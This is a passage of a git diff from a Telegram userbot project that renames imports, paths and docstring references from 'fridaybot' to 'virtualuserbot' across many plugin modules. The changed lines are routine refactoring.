a/virtualuserbot/modules/imagefun2.py b/virtualuserbot/modules/imagefun2.py index 1fb9410d..8cb061f3 100644 --- a/virtualuserbot/modules/imagefun2.py +++ b/virtualuserbot/modules/imagefun2.py @@ -8,7 +8,7 @@ import cv2 import requests -from fridaybot import bot +from virtualuserbot import bot from telegraph import upload_file from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagefun3.py b/virtualuserbot/modules/imagefun3.py index 06ea3c87..eb153b5f 100644 --- a/virtualuserbot/modules/imagefun3.py +++ b/virtualuserbot/modules/imagefun3.py @@ -11,7 +11,7 @@ import cv2 import numpy as np -from fridaybot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot from PIL import Image from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagefun4.py b/virtualuserbot/modules/imagefun4.py index 0d59315d..0a69f838 100644 --- a/virtualuserbot/modules/imagefun4.py +++ b/virtualuserbot/modules/imagefun4.py @@ -8,7 +8,7 @@ import os import cv2 -from fridaybot import bot +from virtualuserbot import bot from PIL import Image from ..utils import admin_cmd diff --git a/virtualuserbot/modules/imagetools.py b/virtualuserbot/modules/imagetools.py index 338d65ef..1e74d69c 100644 --- a/virtualuserbot/modules/imagetools.py +++ b/virtualuserbot/modules/imagetools.py @@ -19,9 +19,9 @@ import cv2 import numpy as np import requests -from fridaybot import CMD_HELP -from fridaybot.function import convert_to_image, crop_vid, runcmd -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.function import convert_to_image, crop_vid, runcmd +from virtualuserbot.utils import friday_on_cmd, sudo_cmd from PIL import Image, ImageDraw, ImageFont from telegraph import upload_file from telethon.tl.functions.users import GetFullUserRequest diff --git a/virtualuserbot/modules/imdb.py b/virtualuserbot/modules/imdb.py index 2a05574a..d4850b66 100644 --- a/virtualuserbot/modules/imdb.py +++ b/virtualuserbot/modules/imdb.py @@ -10,7 +10,7 @@ import bs4 import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd langi = "en" diff --git a/virtualuserbot/modules/img.py b/virtualuserbot/modules/img.py index 6f4bc530..b085bb5e 100644 --- a/virtualuserbot/modules/img.py +++ b/virtualuserbot/modules/img.py @@ -7,9 +7,9 @@ import shutil from re import findall -from fridaybot import CMD_HELP -from fridaybot.googol_images import googleimagesdownload -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.googol_images import googleimagesdownload +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern="img ?(.*)")) diff --git a/virtualuserbot/modules/imposter.py b/virtualuserbot/modules/imposter.py index 76454a97..526c70ff 100644 --- a/virtualuserbot/modules/imposter.py +++ b/virtualuserbot/modules/imposter.py @@ -7,7 +7,7 @@ import asyncio -from fridaybot import ALIVE_NAME, CMD_HELP +from virtualuserbot import ALIVE_NAME, CMD_HELP from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/information.py b/virtualuserbot/modules/information.py index b1344e0e..62c2d4f9 100644 --- a/virtualuserbot/modules/information.py +++ b/virtualuserbot/modules/information.py @@ -1,7 +1,7 @@ import html -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, sclient +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.functions.photos import GetUserPhotosRequest from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName diff --git a/virtualuserbot/modules/inline_fun.py b/virtualuserbot/modules/inline_fun.py index dea5f351..b21cec22 100644 --- a/virtualuserbot/modules/inline_fun.py +++ b/virtualuserbot/modules/inline_fun.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from var import Var diff --git a/virtualuserbot/modules/install.py b/virtualuserbot/modules/install.py index 0455c1cb..c847c1f1 100644 --- a/virtualuserbot/modules/install.py +++ b/virtualuserbot/modules/install.py @@ -2,9 +2,9 @@ import os from pathlib import Path -from fridaybot import CMD_HELP -from fridaybot.function import get_all_modules -from fridaybot.utils import friday_on_cmd, load_module +from virtualuserbot import CMD_HELP +from virtualuserbot.function import get_all_modules +from virtualuserbot.utils import friday_on_cmd, load_module DELETE_TIMEOUT = 5 @@ -18,7 +18,7 @@ async def install(event): try: downloaded_file_name = await event.client.download_media( sedplugin, - "fridaybot/modules/", + "virtualuserbot/modules/", ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) diff --git a/virtualuserbot/modules/instant_install_ext_module.py b/virtualuserbot/modules/instant_install_ext_module.py index 9a5d008a..f249cc06 100644 --- a/virtualuserbot/modules/instant_install_ext_module.py +++ b/virtualuserbot/modules/instant_install_ext_module.py @@ -15,7 +15,7 @@ import os from pathlib import Path -from fridaybot.utils import command, load_module +from virtualuserbot.utils import command, load_module from telethon.tl.types import InputMessagesFilterDocument from var import Var @@ -33,7 +33,7 @@ async def install(event): for ixo in total_doxx: mxo = documentss[ixo].id downloaded_file_name = await event.client.download_media( - await borg.get_messages(chat, ids=mxo), "fridaybot/modules/" + await borg.get_messages(chat, ids=mxo), "virtualuserbot/modules/" ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) diff --git a/virtualuserbot/modules/iplookup.py b/virtualuserbot/modules/iplookup.py index 197034dc..2358743c 100644 --- a/virtualuserbot/modules/iplookup.py +++ b/virtualuserbot/modules/iplookup.py @@ -15,7 +15,7 @@ import json import urllib.request -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/jainder.py b/virtualuserbot/modules/jainder.py index d8a713d2..48026024 100644 --- a/virtualuserbot/modules/jainder.py +++ b/virtualuserbot/modules/jainder.py @@ -3,7 +3,7 @@ import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/jio.py b/virtualuserbot/modules/jio.py index 63e2d964..8f5df458 100644 --- a/virtualuserbot/modules/jio.py +++ b/virtualuserbot/modules/jio.py @@ -8,7 +8,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/json.py b/virtualuserbot/modules/json.py index eb61c0a0..d9aa5e95 100644 --- a/virtualuserbot/modules/json.py +++ b/virtualuserbot/modules/json.py @@ -2,8 +2,8 @@ Syntax: .json""" import io -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("json")) diff --git a/virtualuserbot/modules/language.py b/virtualuserbot/modules/language.py index 9fe33bb3..c15b1fbe 100644 --- a/virtualuserbot/modules/language.py +++ b/virtualuserbot/modules/language.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP CMD_HELP.update( { diff --git a/virtualuserbot/modules/lastfm.py b/virtualuserbot/modules/lastfm.py index 49d7194b..819455bc 100644 --- a/virtualuserbot/modules/lastfm.py +++ b/virtualuserbot/modules/lastfm.py @@ -4,7 +4,7 @@ from sys import setrecursionlimit from urllib import parse -from fridaybot import ( +from virtualuserbot import ( BIO_PREFIX, BOTLOG, BOTLOG_CHATID, @@ -14,7 +14,7 @@ bot, lastfm, ) -from fridaybot.events import register +from virtualuserbot.events import register from pylast import User, WSError from telethon.errors import AboutTooLongError from telethon.errors.rpcerrorlist import FloodWaitError diff --git a/virtualuserbot/modules/lastupdate.py b/virtualuserbot/modules/lastupdate.py index 7828bbcc..28119cac 100644 --- a/virtualuserbot/modules/lastupdate.py +++ b/virtualuserbot/modules/lastupdate.py @@ -2,8 +2,8 @@ import time from datetime import datetime -from fridaybot.__init__ import Lastupdate -from fridaybot.utils import friday_on_cmd +from virtualuserbot.__init__ import Lastupdate +from virtualuserbot.utils import friday_on_cmd def get_readable_time(seconds: int) -> str: diff --git a/virtualuserbot/modules/letmeabuse.py b/virtualuserbot/modules/letmeabuse.py index bc7a4a30..f129b3c7 100644 --- a/virtualuserbot/modules/letmeabuse.py +++ b/virtualuserbot/modules/letmeabuse.py @@ -5,7 +5,7 @@ import random -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"habuse(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/list.py b/virtualuserbot/modules/list.py index 9c3a1842..b60b93c4 100644 --- a/virtualuserbot/modules/list.py +++ b/virtualuserbot/modules/list.py @@ -1,5 +1,5 @@ """ -List Files plugin for fridaybot //Simple Module for people who dont wanna use shell executor for listing files. +List Files plugin for virtualuserbot //Simple Module for people who dont wanna use shell executor for listing files. cmd: .ls // will return files from current working directory .ls path // will return output according to path diff --git a/virtualuserbot/modules/listmyusernames.py b/virtualuserbot/modules/listmyusernames.py index 277fb8fc..9d3cb1eb 100644 --- a/virtualuserbot/modules/listmyusernames.py +++ b/virtualuserbot/modules/listmyusernames.py @@ -1,7 +1,7 @@ # For @UniBorg # (c) Shrimadhav U K -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/load_unload.py b/virtualuserbot/modules/load_unload.py index b680e88c..60d64a7f 100644 --- a/virtualuserbot/modules/load_unload.py +++ b/virtualuserbot/modules/load_unload.py @@ -1,4 +1,4 @@ -from fridaybot.utils import friday_on_cmd, load_module, remove_plugin +from virtualuserbot.utils import friday_on_cmd, load_module, remove_plugin @friday.on(friday_on_cmd(pattern="load ?(.*)", outgoing=True)) diff --git a/virtualuserbot/modules/locks.py b/virtualuserbot/modules/locks.py index dd791919..66fb105f 100644 --- a/virtualuserbot/modules/locks.py +++ b/virtualuserbot/modules/locks.py @@ -3,8 +3,8 @@ API Options: msg, media, sticker, gif, gamee, ainline, gpoll, adduser, cpin, changeinfo DB Options: bots, commands, email, forward, url""" -from fridaybot.modules.sql_helper.locks_sql import get_locks, is_locked, update_lock -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot.modules.sql_helper.locks_sql import get_locks, is_locked, update_lock +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon import events, functions, types diff --git a/virtualuserbot/modules/lol.py b/virtualuserbot/modules/lol.py index 98122940..65d07d1a 100644 --- a/virtualuserbot/modules/lol.py +++ b/virtualuserbot/modules/lol.py @@ -7,7 +7,7 @@ import asyncio import random -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/lucky.py b/virtualuserbot/modules/lucky.py index 55c8558a..3639c903 100644 --- a/virtualuserbot/modules/lucky.py +++ b/virtualuserbot/modules/lucky.py @@ -8,7 +8,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/lydiaai2.py b/virtualuserbot/modules/lydiaai2.py index 55e2c494..fe9584d1 100644 --- a/virtualuserbot/modules/lydiaai2.py +++ b/virtualuserbot/modules/lydiaai2.py @@ -5,8 +5,8 @@ from coffeehouse.api import API from coffeehouse.lydia import LydiaAI -from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.modules.sql_helper.lydia_ai_sql import add_s, get_all_s, get_s, remove_s +from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP +from virtualuserbot.modules.sql_helper.lydia_ai_sql import add_s, get_all_s, get_s, remove_s from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/lyric.py b/virtualuserbot/modules/lyric.py index 6b6cece2..30b5a465 100644 --- a/virtualuserbot/modules/lyric.py +++ b/virtualuserbot/modules/lyric.py @@ -3,8 +3,8 @@ import os import lyricsgenius -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from tswift import Song GENIUS = os.environ.get("GENIUS_API_TOKEN", None) diff --git a/virtualuserbot/modules/mashup.py b/virtualuserbot/modules/mashup.py index 9afe9bea..9f440755 100644 --- a/virtualuserbot/modules/mashup.py +++ b/virtualuserbot/modules/mashup.py @@ -3,7 +3,7 @@ video meme mashup: Syntax: .mashup """ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/mask.py b/virtualuserbot/modules/mask.py index be1c251a..59a8cae9 100644 --- a/virtualuserbot/modules/mask.py +++ b/virtualuserbot/modules/mask.py @@ -1,4 +1,4 @@ -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/mediadata.py b/virtualuserbot/modules/mediadata.py index c04dc046..44ae003d 100644 --- a/virtualuserbot/modules/mediadata.py +++ b/virtualuserbot/modules/mediadata.py @@ -6,9 +6,9 @@ import shlex from typing import Tuple -from fridaybot import CMD_HELP -from fridaybot.Configs import Config -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.Configs import Config +from virtualuserbot.utils import friday_on_cmd from telegraph import Telegraph telegraph = Telegraph() diff --git a/virtualuserbot/modules/memes.py b/virtualuserbot/modules/memes.py index 286bf50f..2891191d 100644 --- a/virtualuserbot/modules/memes.py +++ b/virtualuserbot/modules/memes.py @@ -18,8 +18,8 @@ import requests from cowpy import cow -from fridaybot import CMD_HELP -from fridaybot.utils import register +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import register from telethon import events from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName @@ -654,7 +654,7 @@ @register(outgoing=True, pattern=r"^.(\w+)say (.*)") async def univsaye(cowmsg): - """ For .cowsay module, fridaybot wrapper for cow which says things. """ + """ For .cowsay module, virtualuserbot wrapper for cow which says things. """ if not cowmsg.text[0].isalpha() and cowmsg.text[0] not in ("/", "#", "@", "!"): arg = cowmsg.pattern_match.group(1).lower() text = cowmsg.pattern_match.group(2) @@ -1100,7 +1100,7 @@ async def faces(owo): @register(outgoing=True, pattern="^.react$") async def react_meme(react): - """ Make your fridaybot react to everything. """ + """ Make your virtualuserbot react to everything. """ if not react.text[0].isalpha() and react.text[0] not in ("/", "#", "@", "!"): await react.edit(random.choice(FACEREACTS)) @@ -1529,7 +1529,7 @@ async def typewriter(typew): \n\n.owo\ \nUsage: UwU\ \n\n.react\ -\nUsage: Make your fridaybot react to everything.\ +\nUsage: Make your virtualuserbot react to everything.\ \n\n.slap\ \nUsage: reply to slap them with random objects !!\ \n\n.cry\ diff --git a/virtualuserbot/modules/memevoice.py b/virtualuserbot/modules/memevoice.py index 5a4d5fc2..440a31fd 100644 --- a/virtualuserbot/modules/memevoice.py +++ b/virtualuserbot/modules/memevoice.py @@ -6,7 +6,7 @@ import re -from fridaybot import bot +from virtualuserbot import bot from ..utils import admin_cmd diff --git a/virtualuserbot/modules/memify.py b/virtualuserbot/modules/memify.py index 02c84156..b9f355d6 100644 --- a/virtualuserbot/modules/memify.py +++ b/virtualuserbot/modules/memify.py @@ -5,7 +5,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/mf.py b/virtualuserbot/modules/mf.py index 3bcb173e..83f2534a 100644 --- a/virtualuserbot/modules/mf.py +++ b/virtualuserbot/modules/mf.py @@ -1,7 +1,7 @@ import sys -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon import __version__, functions diff --git a/virtualuserbot/modules/misc.py b/virtualuserbot/modules/misc.py index 45c07fb3..0461090e 100644 --- a/virtualuserbot/modules/misc.py +++ b/virtualuserbot/modules/misc.py @@ -10,8 +10,8 @@ from random import randint from time import sleep -from fridaybot import CMD_HELP -from fridaybot.events import register +from virtualuserbot import CMD_HELP +from virtualuserbot.events import register @register(outgoing=True, pattern="^.random") @@ -31,7 +31,7 @@ async def randomise(items): @register(outgoing=True, pattern="^.sleep( [0-9]+)?$") async def sleepybot(time): - """ For .sleep command, let the fridaybot snooze for a few second. """ + """ For .sleep command, let the virtualuserbot snooze for a few second. """ message = time.text if not message[0].isalpha() and message[0] not in ("/", "#", "@", "!"): if " " not in time.pattern_match.group(1): diff --git a/virtualuserbot/modules/mmf.py b/virtualuserbot/modules/mmf.py index d8d67330..1bf28df3 100644 --- a/virtualuserbot/modules/mmf.py +++ b/virtualuserbot/modules/mmf.py @@ -14,7 +14,7 @@ import os import textwrap -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import MessageMediaPhoto diff --git a/virtualuserbot/modules/movie_recomendation.py b/virtualuserbot/modules/movie_recomendation.py index 3e9259ee..88fbce2c 100644 --- a/virtualuserbot/modules/movie_recomendation.py +++ b/virtualuserbot/modules/movie_recomendation.py @@ -2,8 +2,8 @@ import requests as HTTP from bs4 import BeautifulSoup as SOUP -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd @friday.on(admin_cmd(pattern="rmovie (.*)")) diff --git a/virtualuserbot/modules/mp3converter.py b/virtualuserbot/modules/mp3converter.py index 8d29acc5..fd045afe 100644 --- a/virtualuserbot/modules/mp3converter.py +++ b/virtualuserbot/modules/mp3converter.py @@ -6,7 +6,7 @@ import time from datetime import datetime -from fridaybot.utils import friday_on_cmd, progress +from virtualuserbot.utils import friday_on_cmd, progress @friday.on(friday_on_cmd(pattern="convert (.*)")) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/mspam.py b/virtualuserbot/modules/mspam.py index 2ca05b95..cf0a5dd5 100644 --- a/virtualuserbot/modules/mspam.py +++ b/virtualuserbot/modules/mspam.py @@ -1,6 +1,6 @@ # Written By Inuka Asith for VirtualUserbot -from fridaybot import pro +from virtualuserbot import pro from ..utils import admin_cmd diff --git a/virtualuserbot/modules/mtn.py b/virtualuserbot/modules/mtn.py index f370fd16..41dd12b1 100644 --- a/virtualuserbot/modules/mtn.py +++ b/virtualuserbot/modules/mtn.py @@ -7,7 +7,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/musicdl.py b/virtualuserbot/modules/musicdl.py index 06e3c13e..dd97b8b9 100644 --- a/virtualuserbot/modules/musicdl.py +++ b/virtualuserbot/modules/musicdl.py @@ -1,8 +1,8 @@ """ Spotify / Deezer downloader plugin by @anubisxx | Syntax: .sdd link""" import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.errors.rpcerrorlist import ( UserAlreadyParticipantError, YouBlockedUserError, @@ -36,7 +36,7 @@ async def _(event): await borg.send_file( event.chat_id, songh, - caption="🔆**Here's the requested song!**🔆\n`Check out` [Friday fridaybot](https://github.com/StarkGang/FridayUserbot)", + caption="🔆**Here's the requested song!**🔆\n`Check out` [Friday virtualuserbot](https://github.com/StarkGang/FridayUserbot)", ) await event.delete() except YouBlockedUserError: diff --git a/virtualuserbot/modules/mute.py b/virtualuserbot/modules/mute.py index 647ee632..a3acb07f 100644 --- a/virtualuserbot/modules/mute.py +++ b/virtualuserbot/modules/mute.py @@ -14,8 +14,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute @command(outgoing=True, pattern=r"^.mute ?(\d+)?") diff --git a/virtualuserbot/modules/muth.py b/virtualuserbot/modules/muth.py index 05739ae2..3f2025f5 100644 --- a/virtualuserbot/modules/muth.py +++ b/virtualuserbot/modules/muth.py @@ -4,7 +4,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/nakal.py b/virtualuserbot/modules/nakal.py index 0a5c954d..31e0a77d 100644 --- a/virtualuserbot/modules/nakal.py +++ b/virtualuserbot/modules/nakal.py @@ -12,7 +12,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/nekobot.py b/virtualuserbot/modules/nekobot.py index 2242142c..96dbd422 100644 --- a/virtualuserbot/modules/nekobot.py +++ b/virtualuserbot/modules/nekobot.py @@ -3,7 +3,7 @@ # Official Web : nekobot.xyz # "Copy It As You Want But Don't Edit Credits" import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/news.py b/virtualuserbot/modules/news.py index d5126943..19fe38ca 100644 --- a/virtualuserbot/modules/news.py +++ b/virtualuserbot/modules/news.py @@ -4,8 +4,8 @@ # Test import requests -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from var import Var diff --git a/virtualuserbot/modules/no_spam_plus_devs.py b/virtualuserbot/modules/no_spam_plus_devs.py index bb514887..73f2b63a 100644 --- a/virtualuserbot/modules/no_spam_plus_devs.py +++ b/virtualuserbot/modules/no_spam_plus_devs.py @@ -1,7 +1,7 @@ import secrets -from fridaybot import sclient -from fridaybot.utils import admin_cmd +from virtualuserbot import sclient +from virtualuserbot.utils import admin_cmd json_codes = { "nsX01": "Pornography - High Risk", diff --git a/virtualuserbot/modules/np.py b/virtualuserbot/modules/np.py index b8621f9c..5923ef22 100644 --- a/virtualuserbot/modules/np.py +++ b/virtualuserbot/modules/np.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("nope")) diff --git a/virtualuserbot/modules/nsfw.py b/virtualuserbot/modules/nsfw.py index 2a121300..61c78086 100644 --- a/virtualuserbot/modules/nsfw.py +++ b/virtualuserbot/modules/nsfw.py @@ -13,8 +13,8 @@ import os import requests -from fridaybot import CMD_HELP, pro -from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, pro +from virtualuserbot.utils import admin_cmd, friday_on_cmd, sudo_cmd from pornhub_api import PornhubApi from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/nsfwdetect.py b/virtualuserbot/modules/nsfwdetect.py index 71efb7f2..40b66eb7 100644 --- a/virtualuserbot/modules/nsfwdetect.py +++ b/virtualuserbot/modules/nsfwdetect.py @@ -4,7 +4,7 @@ import os import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/ocr.py b/virtualuserbot/modules/ocr.py index 6c1786c0..86c94497 100644 --- a/virtualuserbot/modules/ocr.py +++ b/virtualuserbot/modules/ocr.py @@ -6,8 +6,8 @@ import os import requests -from fridaybot import CMD_HELP, OCR_SPACE_API_KEY, TEMP_DOWNLOAD_DIRECTORY, bot -from fridaybot.utils import register +from virtualuserbot import CMD_HELP, OCR_SPACE_API_KEY, TEMP_DOWNLOAD_DIRECTORY, bot +from virtualuserbot.utils import register async def ocr_space_file( diff --git a/virtualuserbot/modules/ok.py b/virtualuserbot/modules/ok.py index 65b50ff8..7feb16df 100644 --- a/virtualuserbot/modules/ok.py +++ b/virtualuserbot/modules/ok.py @@ -7,8 +7,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("(.*)")) diff --git a/virtualuserbot/modules/os.py b/virtualuserbot/modules/os.py index bb0a42cf..db11fdd6 100644 --- a/virtualuserbot/modules/os.py +++ b/virtualuserbot/modules/os.py @@ -12,7 +12,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index e2c7e69c..68d960d9 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -9,9 +9,9 @@ from datetime import datetime import requests -from fridaybot import CMD_HELP -from fridaybot import OPEN_WEATHER_MAP_APPID as OWM_API -from fridaybot.events import errors_handler, register +from virtualuserbot import CMD_HELP +from virtualuserbot import OPEN_WEATHER_MAP_APPID as OWM_API +from virtualuserbot.events import errors_handler, register from pytz import country_names as c_n from pytz import country_timezones as c_tz from pytz import timezone as tz @@ -140,7 +140,7 @@ def sun(unix): @register(outgoing=True, pattern="^.setcity(?: |$)(.*)") @errors_handler async def set_default_city(city): - """ For .ctime command, change the default fridaybot country for date and time commands. """ + """ For .ctime command, change the default virtualuserbot country for date and time commands. """ if not OWM_API: await city.edit("`Get an API key from` https://openweathermap.org/ `first.`") diff --git a/virtualuserbot/modules/padmin.py b/virtualuserbot/modules/padmin.py index b6e1ce49..c01fa3df 100644 --- a/virtualuserbot/modules/padmin.py +++ b/virtualuserbot/modules/padmin.py @@ -6,7 +6,7 @@ import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/password_manager.py b/virtualuserbot/modules/password_manager.py index cfe9f61b..9ea8ac92 100644 --- a/virtualuserbot/modules/password_manager.py +++ b/virtualuserbot/modules/password_manager.py @@ -1,7 +1,7 @@ import os.path -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd sedpath = "./chsaiujwal/" if not os.path.isdir(sedpath): diff --git a/virtualuserbot/modules/password_tools.py b/virtualuserbot/modules/password_tools.py index 5d8d8874..fda63bfa 100644 --- a/virtualuserbot/modules/password_tools.py +++ b/virtualuserbot/modules/password_tools.py @@ -15,8 +15,8 @@ import secrets from random import * -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd from password_strength import PasswordStats from uniborg.util import friday_on_cmd diff --git a/virtualuserbot/modules/paste.py b/virtualuserbot/modules/paste.py index 047b92e7..2d21922c 100644 --- a/virtualuserbot/modules/paste.py +++ b/virtualuserbot/modules/paste.py @@ -6,7 +6,7 @@ from datetime import datetime import requests -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd, sudo_cmd logging.basicConfig( diff --git a/virtualuserbot/modules/pdf2docx.py b/virtualuserbot/modules/pdf2docx.py index c4d2f1f3..e1c58b75 100644 --- a/virtualuserbot/modules/pdf2docx.py +++ b/virtualuserbot/modules/pdf2docx.py @@ -1,7 +1,7 @@ import os -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from pdf2docx import parse if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): @@ -18,7 +18,7 @@ async def hmm(event): starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) await event.edit("hmm... Please Wait..") pdf_file = starky - docx_file = "./fridaybot/DOWNLOADS/Infinity_Bots.docx" + docx_file = "./virtualuserbot/DOWNLOADS/Infinity_Bots.docx" parse(pdf_file, docx_file, start=0, end=None) await borg.send_file( event.chat_id, diff --git a/virtualuserbot/modules/pin_message.py b/virtualuserbot/modules/pin_message.py index 13cb2a64..e8fee6d0 100644 --- a/virtualuserbot/modules/pin_message.py +++ b/virtualuserbot/modules/pin_message.py @@ -1,7 +1,7 @@ """Pins the replied message Syntax: .cpin [LOUD]""" -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd from telethon.tl import functions diff --git a/virtualuserbot/modules/ping.py b/virtualuserbot/modules/ping.py index 31d58a3a..dac75ec7 100644 --- a/virtualuserbot/modules/ping.py +++ b/virtualuserbot/modules/ping.py @@ -1,8 +1,8 @@ import time from datetime import datetime -from fridaybot import CMD_HELP, Lastupdate, lang -from fridaybot.utils import edit_or_reply, friday_on_cmd +from virtualuserbot import CMD_HELP, Lastupdate, lang +from virtualuserbot.utils import edit_or_reply, friday_on_cmd if lang == "si": diff --git a/virtualuserbot/modules/plane.py b/virtualuserbot/modules/plane.py index e188c468..da69b85b 100644 --- a/virtualuserbot/modules/plane.py +++ b/virtualuserbot/modules/plane.py @@ -1,7 +1,7 @@ # By STARKTM1 import asyncio -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP from telethon import events diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py index 4628fe80..f0c2f692 100644 --- a/virtualuserbot/modules/pmpermit.py +++ b/virtualuserbot/modules/pmpermit.py @@ -2,9 +2,9 @@ import io import os -from fridaybot import 